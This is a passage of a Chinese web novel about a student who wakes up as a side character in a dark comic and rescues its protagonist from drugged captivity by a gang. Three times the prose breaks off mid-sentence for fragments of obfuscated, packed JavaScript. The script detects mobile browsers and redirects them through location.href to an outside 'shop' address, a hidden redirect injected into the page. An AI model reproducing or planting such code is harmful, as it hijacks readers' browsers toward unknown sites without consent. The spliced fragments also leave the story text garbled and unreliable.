《纯情直男在限制漫做路人攻》 1. 穿书 江城市第一人民医院,八楼病房,传出激烈的游戏声。 “你打游戏小点声,别吵到你哥。” 直到一道女声训斥,这动静才消停了点。 池佑恰在此时醒来,他躺在病床上,穿着一件蓝白病号服,阳光被洁白的床单反射,刺得人微微眯了眯眼,半天才适应。 坐在一旁的林芸注意到,立时收了手上的东西,上前抓住池佑的手,半是担忧半是喜:“小池,你醒了,还有没有哪里不舒服?” 刚刚还在打游戏的男生闻言也收了手机,坐到林芸身边,关心道:“哥,你还好吧?” 虽然头还有些晕,但脑子还算清醒,池佑直起身,扫了二人一眼,又看见手臂上的针,开口嗓音还有些哑:“这什么情况?” 林芸脸上一怔,随即又浮出笑:“小池你忘了?你开车从高速下来的时候追尾了一辆小轿车,就发生了车祸,还好医生说你只是轻微脑震荡,过不了几天就可以出院了。” 追尾?车祸?脑震荡?听上去怎么这么陌生。 池佑往后靠了靠,看着身边这对母子,一时没说话。 他分明记得自己是翘了课,跟一帮驴友飞到昆城,夜宿野外,误食了毒菌子,这才昏迷不醒的。 思及此,他将手从那个女人的手里抽出,叠在自己左手上,试图让自己看起来镇定些,先问一个比较关键的问题,“你们是谁?” 没想到女人和男生都是一愣,并没有回答。 过了一会儿,旁边那个男生开口了,小声道:“妈,医生说轻微脑震荡也可能会有些副作用,哥该不会就是失忆了吧。” “别瞎说。”女人拍开他拉自己的手,“小池啊,我是你林姨妈,这是你表弟韩城宇,今年毕业,跟你上一个大学,你姨父今天忙就没来。我先去找医生问问你这个情况。” 宽敞的病房里就剩下池佑和韩城宇,韩城宇换坐到他妈妈刚刚的位置,离池佑更近,语气倒跟刚刚不同:“哥,你是真的不记得了,还是为了回去,要跟大哥装病啊?” “我装什么装。”池佑拧着眉,他怀疑自己吃了那毒菌子还没缓过来,面前这些还都是幻觉。 当初就不该贪那一口。 要不是围着篝火时,旁边有个妹子也无意加入群魔乱舞,边摆弄着手机,边找他聊天,说今晚十二点,她要抢一本限量版漫画。 一听“限量版”三字,池佑来了兴趣,他最近新搞了个脚本还没试过,于是问:“我手速快,要不要我帮你抢?” 没想到那妹子还挺重视这漫画,面色犹豫道:“能行么?” 池佑笑一声:“试试不就知道了?” “嗯……行吧但这漫画圈子里特火,好不容易才能出实体,全球粉丝抢几百册呢,还得换地区抢……” 像是怕他不知道,那姑娘言辞夸张地形容了一番待会儿可能的激烈战况,然后告诉他怎么才能抢。 池佑按照她说的点开官网,换能抢的地区,注册账号,试了一下那个脚本。 看着弹出的界面,他语气轻松:“简单。没问题。” “那太好了。”那姑娘看他操作很专业的样子,像是信了,放下心道,“要是成功了,我请你吃饭。” 离发售还有一小时,他们互换了名字,边吃烤串,边聊天。 手机上,刚刚点开的那本目标漫画此刻弹了出来,一下吸引了池佑的注意。 入目一张巨大画报,一少年跌坐于潮湿地板。 周身黑影萦绕,棍棒环伺,似乎即将被霸凌。 池佑目光一寸寸掠过,但在某处顿住。 在这沉重黑暗的色调下,少年是唯一的鲜亮,满身的伤也盖不住眼里的锐气,直直朝外投来,与屏幕外的人碰撞。 眸子晶莹,盛满的不止是泪,还有不屈、怒意以及仇恨。 只是暗色过盛,他势单又力薄,勇气显得渺小,不甘尤为脆弱。 呈现出的画面感,就更像是所有未来即将被蚕食,所有希望即将被覆盖。 画师很会设计,或说很会捕捉人心,用色鲜艳明亮,肌肤呈现雪白细腻的光泽,如此,一些的青紫交错的痕迹就显得刻意。 锄强扶弱之心人皆有之,仅仅这一页,甚至没有直接描绘环境的险恶,便足够让人深感同情,怜悯和心疼。 更让人好奇少年的过去,现在和将来。 池佑注视良久后,微不可察地皱了皱眉,下意识手指滑动。 然而并没有跳出后续,只弹出“未发行”字样。 这时他还注意到右下角一个巨大的红圈“限”字,想必是为了区分限量版与普通版所作的标志。 旁边的姑娘顺着他的视线看见屏幕,不算自然地咳了一声,默默挪开视线,随便找了个话题:“他很可爱吧。” “可爱?” 池佑重复了一遍。 他第一次听到形容一个男生可爱的说法。 便又看了画报主人公一眼,不太懂二次元的审美,他只好客观道,“还行,男人里不够威猛,算漂亮吧。” 姑娘愣了一下,像是被逗笑了,咯咯笑个不停,“海内外有超级多粉丝喜欢他,我们都希望他能选个最威猛的——” 她像是紧急打住,换了个忧伤的口吻继续道,“唉可惜最后结局不太好。” 闻言,池佑眸光微闪,轻扣了一下手机侧缝,听着那句“不太好”,便没注意自己刚才侧身拿的是串菌子。 “这不是那种很燃的热血少年逆袭漫画么?” 姑娘愣了一下,随即爆笑:“哈哈哈哈哈——才不是啦。咦,我刚想起来,里面有个角色,好像还跟你同名。” 池佑并不知道她在笑什么,也不太想知道,只是垂下眼又看向屏幕,在深山的寒夜里哈出一口白气。 等再开口,语气变得漫不经心:“……这么巧啊,那不如就给我讲讲这故事吧。” “啊?” “怎么了,反正也还有不少时间。” “那……那好吧。不过,首先,你刚才说得没错,这确实是个热血少年漫……就是,可能稍微有点暗黑的那种……嗯对……你能理解吧……” 池佑不太能,他道:“先讲讲看。” “讲讲啊,行……我想想,剧情大概是这样的——” 池佑不是没看过小说,此时也反应过来自己是穿越了,穿在了这本热血漫里,成为一名热血男大。 真是要了命了。他看电视剧三分钟就困,电影能撑五分钟的性子,此刻极力回忆漫画剧情。 漫画主角,温奈,也就是画报上那位少年,从小的梦想,是成为闻名全球的设计师。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297382|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 三岁学画,五岁登报,十岁拿下人生第一个冠军,前途明亮到睡不着觉,风光无限好。 但这好景不长。十二岁那年,爸爸锒铛入狱,妈妈气到吐血,常年在国外养病,两个哥哥成年后也离家,自此就剩下他一个。 熬过了高中三年霸凌,怀揣悲惨的身世,考上国内顶尖大学,江城S大。 在大学,温奈却因识人不清,运气也不太好,常遭遇意外陷入危险,蹉跎了好些岁月。 但在那些磨难中过五关斩六将后,终于是拿下国际大奖,闻名全球,让更多人看到了他。 可惜主角最后精神出了点问题,将还活着的故人都约到一所豪华巨轮上,驶入公海。那一场爆炸,成为历史上影响最大的惨案。 也为他自己波澜壮阔的一生,留下最为浓墨重彩的尾声。 其实故事整体挺短的,但是这么个小故事,那姑娘眼神闪烁,支支吾吾半天才讲完。 就这样,还说自己是粉丝。 不过这漫确实不像一般热血漫画结尾停在最光辉的时刻,它缀了一点不太美妙的尾巴,令人十分意难平。 比如池佑就很意难平,在人生至高点和人渣同归于尽,虽是漫画,但他竟有些替男主感到不值当。 但隔着次元壁,他也只能颇为郁闷地咬了一口已经凉透的菌子串。 十二点一到,他手指在屏幕上滑动,页面弹出硕大的“Congratulations!”时,菌子毒性也慢慢上来了。 等到他恢复意识时,人就在这了。 他刚回忆完,门口响起一阵敲门声,护士进来送药,并叮嘱他,“这些天少动多休息,身上擦伤记得及时涂药,吃清淡点。” 说着,将吊瓶取了,推着推车出了门,穿过长长的走廊,拐入另一间单人病房。 里面在病床上坐着的男生,面容清秀,还有些苍白。 此刻他正盯着窗外天光云影,一动不动,像是在发呆。 护士小姐查看了吊瓶里的药剂量,还够。 她嗓音温和:“你醒了,你擦伤稍微严重些,也是轻微脑震荡,除了这些,身体还有没有哪里不舒服?” 温奈这才回神,目光转向她,面色平和:“没有,谢谢。打完这瓶药就可以走了吗?” “如果没有不适症状的话是可以。不过建议再留院观察一段时间。” “医院给你家属拨打了电话,但暂时没有人接听,你可以先跟家里说一声,之后医院这边也好交代注意事项。” 闻言,少年脸上露出倦色,声音依旧平静无波:“之后直接跟我说就好。” 护士小姐多少猜到或许是家庭不好的缘故,才会出了车祸都没人在一旁看护,内心不由得对这个年纪不大的青涩少年更怜惜些。 她关切道:“那你有事按铃,我会过来。” 温奈再次道了谢,等到人离开,门关上后,他盯着洁白被单的目光渐渐放冷。 别人的同情怜悯,在今天之前他或许会很感谢,只是现在,他有更需要关注的事。 他刚刚做了一场很长很长的梦,长到仿佛一生都过完了。 他的人生,竟然全都是不可播的限制级内容! 愤懑难堪的梦境涌入脑海,他咬牙切齿地揪紧了被单。 这些贱人! 2. 还球 经过跟韩城宇的一番对话,池佑已经知道自己是穿到那位同名角色身上。 原身出身京都豪门,池家次子,三年前父母飞机失事过世,长子池翊从国外回来接手家业,每日忙得脚不沾地,不过好在稳住了大局。 池佑上辈子是独生子,父母去世后一直是一个人,现在突然有个哥哥也挺新鲜,虽然一时半会儿见不到面。 两个人正聊着,林芸带着医生回来了,但现在池佑基本已经“恢复正常”。 等医生走后,林芸靠近过来,神秘兮兮道:“小池,知不知道你撞的什么人?” 池佑听她这话,顿了一下谨慎开口:“大人物?” “可别抬举了他家。”林芸想笑似的,却又先想起什么,皱了下鼻,随后扯一扯嘴角,“是个没人要的小东西。” 洁白的窗户留了条缝,灌进点初秋的凉意,裹着林姨妈那带着点凉薄的讽刺语气,掠过池佑耳边。 刚才还和蔼可亲的女人此刻像换了个人,变得有些刻薄,池佑看着她:“什么叫没人要?” “他家破了产,现在就剩那小东西一个人住在老别墅里。” 这个描述,池佑感到一阵熟悉:“他姓温?” 林芸神色惊奇了些:“你怎么知道?难道那些事都传到你耳朵了?” 池佑没注意她说的“那些事”,只是想到穿来第一天就撞了主角,这要是不给人赔个礼道个歉,以后那豪华巨轮定要给他留位。 他道:“他的伤严不严重,在这医院吗?我想去见见他。” “见什么见,都交给保险公司就好了。小池啊,你听姨妈的,少跟这人打交道……” 池佑直截了当:“韩城宇,你去帮我问问温奈在不在医院,哪个房间。” 旁边韩城宇无所事事,刚开始偷偷玩手机,一听他哥喊他,吓得立刻起了身,反应过来要做的事,下意识觑了林芸一眼。 林芸嚷道:“你这孩子怎么这么倔……” 但也拗不过池佑要找。等韩城宇回来,只说温奈没什么大碍,已经离开了。 池佑拧了下眉,看来还是不巧,这次错过了。 但他记得自己跟温奈在同一所大学读书,迟早都能碰上。 池佑虽然感觉已无大碍,但还是在林姨妈强烈要求下又在医院躺了两天才出院。 原身那辆车送去维修了,他跟来接他的韩城宇一起坐林家的车走。 去学校前,林芸还叮嘱他俩先去理个头发。 等两人都理完发,都到了学校门口,周围年轻学生来来往往。 韩城宇的视线还扒拉在他脸上,撕都撕不下来,一句话说了几百遍:“哥……哥你简直变了个人。” “还行吧,哥帅也不是一天两天了。”池佑倒也不谦虚。 “但你这气质变化也大了吧,而且……嗯就是……就是,”韩城宇抓耳挠腮,“哎说不出来,好像哪哪都不太一样。” 池佑耸耸肩。 估计原身剧情不太多,画师没怎么塑造,只是用头发遮住样貌省事,直到他穿过来,就都按照他上辈子的模样整了。 现在已经开学几天,四处都是学生,这所学校是中外合资的名校,师资雄厚,自然学子如云。 池佑跟着人潮,率先跨进了校门,韩城宇赶忙跟上。 “我哪个寝来着?”池佑装作不经意问。 “你不是东6-301的嘛。”韩城宇只以为他在考验兄弟情,“你们寝三缺一我记得。” 在距离池佑他们几百米处,教学楼门口,一双白皙的手正接过一个编织袋。 “小学弟,里面就是你要的资料啦。”学姐面带笑意看着面前少年。 男生声音干净好听:“谢谢学姐,可以顺便告诉我导员办公室怎么走吗?” “当然可以,一直往前走,然后左拐第三幢建筑就是。”学姐指完路问他,“学弟,一开学就找导员,有什么要紧事吗?” “我想换寝室。”他没有多说,又道了谢。 刚想走,又被学姐笑嘻嘻喊住,“学弟加个联系方式吧?我有事通知你。” 两人互换联系方式后,男生便朝刚刚说的方向走了。 旁边有个学长经过看见了,过来打趣她:“情场老手有新目标了?” “这是新生里我见到最心动的一位。那气质那脸蛋可以评新一届校草!”学姐一边给人备注,一边眉飞色舞道。 “个子差了点儿吧。”学长不是很赞同。 “我看你是嫉妒。”学姐的眼睛就是尺。 两人又互怼几句,学姐忽然瞄到什么,瞬间目光如炬,惊叹道:“刚刚说早了!” 正要经过的池佑恰好听到这么一句,对方是看着自己说的,他便自然接道:“什么说早了?” 那女生却没回这句,一脸爽朗问他:“嗨学弟这么帅,给个v?” 池佑微微一笑,也一脸爽朗婉拒:“抱歉我还有事,先走一步。” 学姐还没说话,站在她旁边的大概是学长突然问,“诶你,你好像是我们学院的吧?是不是那个池……” 池佑便又停下脚步看他,“池佑。” “对对!就是这名!就说怎么有点熟悉,我是你们助班丁浩。”学长上下打量他,“你小子第一天还死气沉沉的,怎么换了个发型人都不一样了。” “现在这个清爽些,”池佑笑笑,“学长没事那我们就先走了。” “哪能没事,去不去打球?我约了你们班最帅的几个一起,他们估计等在球场了。”学长想上来勾他肩,发现够不着,便换成拍了拍。 打球是个认识新同学不错的机会,池佑想了想,于是答应:“行啊,我确实好久没运动了。” 韩城宇小声问他,“哥你刚出了车祸从医院出来,打球能行吗?” 池佑一身轻松,没感觉不适,“医生不都说我没事了,你来不来?” 韩城宇连连摆手:“我个外语的凑你们经管热闹干什么。” “行,那你先回吧,回去再联系。” 跟丁浩去篮球场路上,池佑像是没话找话:“对了学长,刚才跟那学姐聊天的是谁?” 丁浩:“那很白很秀气的男生么?我也不认识,应该是杨佳艺她们设计系的新生吧。” 池佑想,原来那学姐是设计系的,早知道刚才就加了。 丁浩道:“走吧咱俩先去更衣室换衣服,我记得我们院队正好有条多的,先给你用。” 池佑回神:“行,谢了。” 他俩换了球衣出来,这下午的球场内外人都不少,吼叫哨音欢呼声,热烘烘一片。 池佑也好像受感染,莫名生出一股燥动。 忽然不知谁中了一个三分球,那边爆发出猛烈的尖叫,情绪如同热浪扑面而来。 果然是热血漫,球场都如此热血沸腾。 他拉了拉球衣领口,灌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297383|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进少许凉风,忽然有些好奇主角这时候在干嘛,会不会也在打球。 他扫视了一圈,暂时没看见稍微能符合“可爱”这个形容词的。 靠近门的篮球框下有七八个人正在防守进攻,看见他们两个,便过来打了声招呼,一个皮肤黝黑的寸头道:“又带过来一个啊,这身高不错。” 丁浩笑了声,“瞧着有潜力吧。” 池佑看过去,丁浩解释,除了他们几个新生以外,他还叫了院队的几个哥们。 丁浩拍拍他肩膀,示意不必紧张,“虽然今天场外妹子多,但不用硬撑啊兄弟,输了不丢人。” 一小时后,篮球场忽然再次爆发出一阵冲天的尖叫声,完全不亚于场内的激烈。 此时,场外已经里三层外三层围了不少人,叽叽喳喳的讨论声格外喧嚣。 “好帅的扣篮!” “这么帅的我以前怎么没见过!是新生吧!” “我的妈!完全可以出道的程度!” “那腹肌那肱二头肌那爆发力!吸溜吸溜。” “……” “……” “我靠先歇会儿歇会儿,你这小子,怎么,怎么能这么有活力……”丁浩撑着膝盖,气喘吁吁。 汗水不断滴落,池佑下巴抵在小臂上蹭了蹭,腰腹间布料很快洇出几道不规则的深色水迹。 发梢也有点湿了,他撩了一把刘海,先把话还回去:“不用硬撑啊兄弟,输了不丢人。” “草了哈哈哈哈……”丁浩气还没喘匀,笑得直咳嗽,“可以,很可以,我们就要你这种跟打了鸡血似的,今年校赛才能——” “拿他们个第一!”寸头抢着接话道。 一帮人喝水喘气,听到这句,一齐笑起来。 池佑也笑,他接过别人递来的毛巾,擦了擦汗。 球还在他手上,他道,“还打不打,不打我还球去了。” 有几个人还有事,今天便先到此为止。 池佑让他们不用等自己先回去,然后独自带着球朝场外走去。 一出去有人上前搭讪,他想了想,先问有没有设计系的,可惜没有,他就走了。 一直走到一条冷清的林荫路上,凉风飕飕,他才想起来自己根本不知道器材室在哪。 回去问太麻烦,想着总是在篮球场附近,他就又走了一会儿。 直到越走越偏僻,一点人影也没了时,终于看见一个破旧的路标,上面写着器材室。 池佑这才松一口气,刚差点都要往回走了。 没想到转过去是一条狭窄的过道,杂草丛生。 尽头一间坑坑洼洼的铁门,门口大圆桶里放着些棒球棍,羽毛球拍之类的器材。 池佑拿着球慢慢走近,在那圆桶里翻了翻,也大多破破烂烂。 他心里纳闷:这学校经费都拿去干什么吃了。 这么一看,自己手上崭新的球倒是有些格格不入。 他又握住有点生锈的门把手,转不动,敲敲,没人。 池佑站住不动了。 搞什么,难道要走窗户吗。 于是又左右看了看,还真找到了扇窗,就是有点高。 不过也还行。 于是他后退了几步,一个助跑,单手扒住窗台,猛地使劲,带球利落翻了进去。 “我靠!老大他进来了!” 猛然听到有人尖叫,池佑趔趄了下,险些摔了。 3. 霸凌 他一抬头,吃了一惊。 一二三四五……这里有七八个人! 打扮和气质都不像学生,倒像小城市地铁口的流氓。 “里面居然这么多人,”池佑有点疑惑,“那我刚刚敲门,怎么没人应我?” “……” 没人回他。 忽然最前面那人神情狰狞,目露凶光。 “你他妈到底想做什么?” “还球啊。” 池佑很实诚,顺手抛了下球。 “……” “……哦,篮球放那边就好。”刚刚那人干巴巴道。 池佑看了一下墙角的篮筐,点头:“嗯,谢了。” “……唔唔嗯!” 池佑忽然回头,眼神微妙:“刚刚什么声音?你的?” 那是个大块头,直挺挺站着,穿着个不知道几天没洗的背心,立刻沉默地摇了摇头。 但被刚刚那人踹了一脚后,又沉默地点了点头。 不知道为什么,总感觉这些人好像有点紧张。 池佑收回目光,转身朝篮筐走去。 不经意瞥见被随意扔在一旁的牌子,上面写着“废弃”二字。 看上去像是挂在门口用的。 嗯?这是间废弃器材室? 他皱起眉。 “啊!”又是一声凄惨尖叫,“我的手!” “……救,救唔!” “闭嘴!”被唤作老大的狠狠骂了句。 池佑这次回头,那几人乱了一瞬,原本严严实实的遮挡出现了缝隙,所以他一眼就看见大块头身后,那个被牢牢制住的男生。 手被粗绳缚住,腿抬高,被两人一前一后按住,还被拼命捂住嘴巴。 在那个空隙里,他对上男生的视线,只来得及看见泛红的眼眶里泪眼朦胧。 很快就看不见了。 池佑彻底停下脚步,把球抵在腰上,一瞬不瞬盯着他们。 “你们在做什么?” 见被发现了,那当老大的没有犹豫,狠狠往地上呸了一声,“怎么着小兔崽子,你就一个人想把我们怎么样?能把我们怎么样!” 其他几人也不藏了,凶相毕露。 露肌肉的露肌肉,亮棍子的亮棍子,活动手腕的活动手腕,一副他再不跑,就让他吃不了兜着走的狠样。 池佑没跑也没动弹,盯着领头的,语气很肯定,“所以,你们就是在欺负他。” 他一脸认真说这话的时候,几人皆是一愣,然后猛地狂笑起来。 笑得令人不明所以,但是个个东倒西歪,像是听到什么天大的笑话。 那个老大笑得尤其夸张,前仰后合,“对,对,怎么着,我们还不止呢,我们这是在——” 他忽然卡壳,绞尽脑汁想不起来那个词了。 “霸凌。” 池佑吐出两个字,替他说完了。 那些人听完,又是一静。 然后又夸张地爆出激烈笑声,笑得更抽搐了,一个人拉着另外一个,上气不接下气。 “这傻冒刚说,说什么零?太逗了我草……” “干,我要笑没力气了……” “哎哟我肚子痛……” “我草喂,喂,那谁,”老大气顺了点,三角眼扫过来,铁钩似的钩住人,又像是大发慈悲道,“你是不是也想试试这什么零啊?好说啊,我们几个让让你,你先来怎么样?” 池佑盯着这些人没说话,嘴角慢慢绷紧,不知道在想什么。 那老大笑半天,也渐渐笑够了,声停了,眼神也一下阴冷。 “你听不见吗?他妈磨唧什么呢?” 看他还是没反应,那双令人不适的三角眼凶然一睁,手上棍子猛地往地上一敲,“不上就滚!别他妈敬酒不吃吃罚酒!哥们儿几个脾气大,待会儿就没那么好走了!” 池佑看了一眼他手上的棍子,拿着球往门外走。 然后他就又听见细微的哀叫。 “救命……求……求你了,咳救救……呜呜……” 声音听上去很虚弱,音量简直和足月大的奶猫叫没什么区别。 池佑不合时宜地想起上辈子他就养了一只小猫,原来在流浪,捡回去,后来养的白白胖胖。 但每次出门还是会被欺负,回来就差不多这样的声儿可怜地喵喵叫。 这比喻虽然不太恰当,但莫名让池佑拿着球的手收得更紧了,另一只手拳头捏得咔咔响。 但他脚步没停。 那伙人的老大看见他毫不犹豫往门外走,嗤笑了一声,转头对其他人,“嘁,也不知道哪冒出来的人,妈的这么高,看着柱子一样,门都锁了还从窗户钻进来,真是傻帽,结果也就这样,怂的要死,还真以为我们怕了啊……” “就是啊就是,怂炮。”其他人纷纷附和,不过都学老大压低了声音。 门打开了,那一米八几大傻冒应该跑了。 他又对蜷缩着的少年,语气下流,“哭得不错啊,省点力气待会儿也得这么哭……” 话音刚落,突然旁边人一声惊呼,“老大小心!!” 他脸刚转过来。 “砰——”一声巨响。 他的面门便硬生生接住了被全力暴扣的一球。 “我想了想还是忍不了。” “霸凌还这么嚣张。” “找死呢。” 那三角眼的身子僵硬着重重落在地上的时候,一屋子的人都看懵了。 扣球的人抄起门口铁桶里的棒球杆。 他冷着脸目光扫过来,天生下压的眉骨,眼尾微扬,脸上阴云密布,看起来充满攻击性。 其他人倒还真的被这可怖气势唬住一瞬间。 就这么一瞬间,人已经冲进来了。 局势瞬间大乱,几个人混斗在一起。 这些人看起来很能打,但在真练过的人面前,还是不太耐打。 “呃啊!” “啊啊啊!” “我草!别踹那!” “草草草腿腿腿!别别哥哥哥哥!” “别打了别打了啊啊!” “……” “……” 场面陷入一片混乱中,惨叫声此起彼伏,哀嚎连连。 那铁打的棒球棍毫不留情快准狠击中某些部位,完全避之不及。 也不知道是专门挑的哪里,极其钻心的痛,根本无法忍受,几人立刻瘫软在地,抱腿哀嚎不止。 池佑乒哩乓啷收拾完这些霸凌者,环顾一圈找到刚才的男生。 还算机灵,趁着室内大乱,已经躲进角落里缩成一团团着了。 得赶紧带人离开,池佑这么想着,三两步过去。 手刚搭上那肩,那团人整个都抖了一下,池佑赶紧出声:“别怕,是我。” 他帮人把绳索都解开了。 深埋在膝盖里的脸这才微微抬起。 看到男生的情况,池佑微微一愣。 白皙的脸此刻泛着不正常的潮红,眼睫上还挂着泪,大约忍了很久,唇被牙齿咬得有些肿胀,看上去有点艳。 他伸出手在人面前晃了晃,“你还好吧?” 对方没有反应,眼瞳像是难以聚焦,迷迷糊糊望着他,嘴巴有一点张开了,没有声。 池佑心里一咯噔,拉上男生衣服帽子遮住他的脸,拎起被扔到一边的书包,转身背起人时还说了一句:“抱紧点,先带你去医务室。” 背上的人便很听话地抱住了他,腿也慢腾腾夹住他的腰,身子紧紧贴着他。 接着他颈侧贴上一团软乎乎的脸肉,有点烫,也有点痒,池佑不得已侧过头,深吸了口气。 刚抬腿往外走两步,忽感腰间一紧,颈间声音黏黏糊糊,“录,录像……他们……” 什么? 池佑环视四周,终于看见藏在角落里的设备。 他走过去,抬手一扫,架子倒地,架在最上面的那东西掉在地上,摔个粉碎。 背上的人没音了,脑袋垂下来,软软抵住他的肩,池佑没再犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297384|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豫,拔腿跑了出去。 迎面碰上赶过来的丁浩等人,池佑三言两语让他们赶紧报警,别让那一屋人跑了,自己脚步没停,以最快速度冲到校医院。 一进门,校医一看,赶紧让他到里间把人放下。 他放下包,在病床边倾身。 没想到抱住他脖子的手却死活不松开。 池佑掰了掰,手更紧了,呃,还有点难以呼吸。 他看着校医,校医看着他。 池佑只好自力更生,用商量的语气,“嗯那什么……同学,现在已经没事了,要不然你先松松手,让老师看看你的情况?” “……不,不要。” 被拒绝了。 池佑的手没有抓着他的大腿了,他身子总往下滑,却固执地手脚并用又抱又夹攀在宽阔的肩背上,还不停用脸拱蹭。 池佑只觉得颈侧越来越烫,背上也是,总之被碰到的地方,温度好像都在不断升高。 他有点冒汗,总感觉再拖下去,这个同学估计病得要越来越重了。 而且他也越来越难以呼吸了,只好重新把人托起来,释放一下自己的脖颈。 池佑转而跟校医商量,“老师,这样能看吗?” “……也行。”校医拿出听诊器试图放到他们俩紧密的缝隙里。 男生估计误会了,挣扎起来,更加大力抱紧他,情绪激动,“不要不要不要……别碰我!救,救命……” 完全放不进去。 池佑感觉自己要被勒死了,赶紧道:“救了救了,已经救了,你别害怕。” 男生不说话了,脸埋在他颈间,哭得很小声。 池佑只觉得脖子一湿,然后就不断有水一样滑溜溜的温热东西流到领子里,痒痒的。 年轻的校医拿着听诊器,看着他俩。 池佑想了想,商量着问,“这能不能放背上听?” “……” 校医放下听诊器,抽出手,边回忆自己上学时选修课学到的知识,边给人把了把脉。 面目忽然有些严肃,“你是不是给你同学吃什么了?” 池佑懵了一下,实诚道:“我没有,应该不是我。” 他简单讲了一下刚才的情况。 校医道:“原来是这样,那他估计是有点应激。” 他去外间拿了一个杯子回来,里头装了些透明液体。 “来,让他喝点。” 池佑问:“这是什么?” “水。” “……就只用喝水吗?” “他吃的药成分杂,难以辨析,看起来效果挺明显,但时效一般不长,多喝点水稀释稀释,靠身体自己的新陈代谢基本就能恢复了。” 但校医试图让人喝水也失败了,池佑听到外面又有人在喊,他道,“没事老师,水放下吧,等会儿我喂他喝,您有事先去忙好了。” “也行,对了,他现在的状态容易产生错觉,身体也会比较虚弱,你注意不要让人失温。” “好。” 校医又去外面拿了些东西回来,“你脸上和他膝盖手肘的擦伤也处理一下,碘伏消毒,然后涂上抗菌药,再贴一下这个敷料就行。” 池佑道了谢,校医便去了外面顺手拉上帘子。 他背着人,像个老人,在床旁不大的空地走来走去,想试试看能不能把背上的人走累。 过了一会儿,他有点累了,停下来叹了口气,“现在很安全,要不你先下来?” 背上的人没吭声。 “是不是还难受,渴不渴,想不想喝水,想的话我放你下来。” 脖子又被蹭了蹭,好像是在摇头,湿漉漉一片,还有轻轻的喘气声。 实在是有些难搞。 好在他一向比较有耐心,倒也不急。 踱来踱去间,他渐渐想起自己当时把猫捉回去,是怎么安抚那只蔫巴巴却还很防备人的小猫的。 于是犹豫了一下,他垂下眼睫,偏过头,热气拂过颈窝。 “乖,先松手。” 4. 别走 少年的嗓音压得又低又磁,唇就贴在发烫的脸颊边。 颈间湿润的眼睫像被风轻轻吹拂,微微颤动起来。 过了一会儿,背上毫无动静,池佑转回头来,叹了口气,正准备再想办法。 脖子上的桎梏忽然一松。 他一愣,赶忙将人放到床上,刚腾出手去拿水杯,腰又被抱住了。 男生把脸埋进他腹部,哼哼的声音很软,有点像糯米糕。 “……别走,不,不准……” “没要走,我给你拿水喝。”池佑像是拖家带口,艰难够着柜上那杯子。 “老师说让你多喝水,身体才不会那么难受,”池佑把杯子往下放,抵到男生抿得紧紧的唇边,“听到了吗?” 他话音一落,男生一下将头转到另一边,要不是池佑动作快,杯子险些脱手。 看来完全没听见。 池佑皱眉,又思考了一下自己为数不多的经验。 于是换了只手拿杯子抵住,另一只手揪着人后颈皮,让人转不开脸。 “听话,张嘴。” 声音比刚才沉了点,言简意赅。 往常闹脾气的猫听到这样的肃声,很快就会老实起来,他也就试试。 男生却好像又难受起来,呜呜咽咽,大珠大珠眼泪直掉,嘴里不停呢喃什么,埋在他小腹上,声音太闷,难以分辨。 看来行不太通,果然人比猫还是复杂许多。 ……还好球衣是防水的。 他垂眼瞧着,看见不少泪珠精准掉到杯子里,忍不住道:“水要变咸了。” 原本看起来还要掉许久眼泪的男生静了一会儿。 终于像是哭累了,慢慢张开嘴,居然愿意喝水了。 池佑太过高兴,想赶紧让人喝完恢复神智,不小心喂得快了一点。 男生猝不及防,猛地咳嗽起来,他忙把水杯拿开,有点不好意思地帮忙拍拍背。 那张比他手还小的脸咳得比先前还红,上气不接下气地,好不容易才缓过来。 那双狭圆的眸子恢复了点亮色,竟往上撩起眼皮,迷离地朝他一瞅,比常人稍浅的瞳色仿佛还蒙了一层水雾,透着七分无辜,三分幽幽。 泪珠恰好挂在上翘的长长黑睫上,随着眼睫一颤,抖落下去,掉到脸颊上,碎了,又是曲线分明,珠珠晶莹。 池佑心一动,竟觉得有几分神奇。 这家伙眼神看起来还迷迷糊糊,不甚清醒的模样,居然还知道瞪他。 胆子不怎么样,脾气倒不小。 不过这双眼睛,怎么越看越有点眼熟。 池佑问他:“你还喝吗?” 男生迟疑了一下,点点头。 池佑这回速度把握得当,剩下的水很快就喂完了。 他道:“你是不是清醒了点,要不要躺下睡会儿?” 男生脸又埋回去,看不见神情,但他先是点点头,然后又摇摇头。 池佑把杯子放下,斟酌着问,“既然清醒了点,为什么不能先松开我呢?” 男生过了一会儿才哼哼:“……热……我热……” 温热的吐息打在他的小腹上,池佑才是要感觉热了。 他道:“热还抱着我?” “凉快……” 37度的人形空调吗?池佑不理解,估摸应该是人吃坏了产生的错觉。 但好人做到底,他现在也没有什么急事,时间耗一耗也没什么,思来想去,他就任由人抱着了。 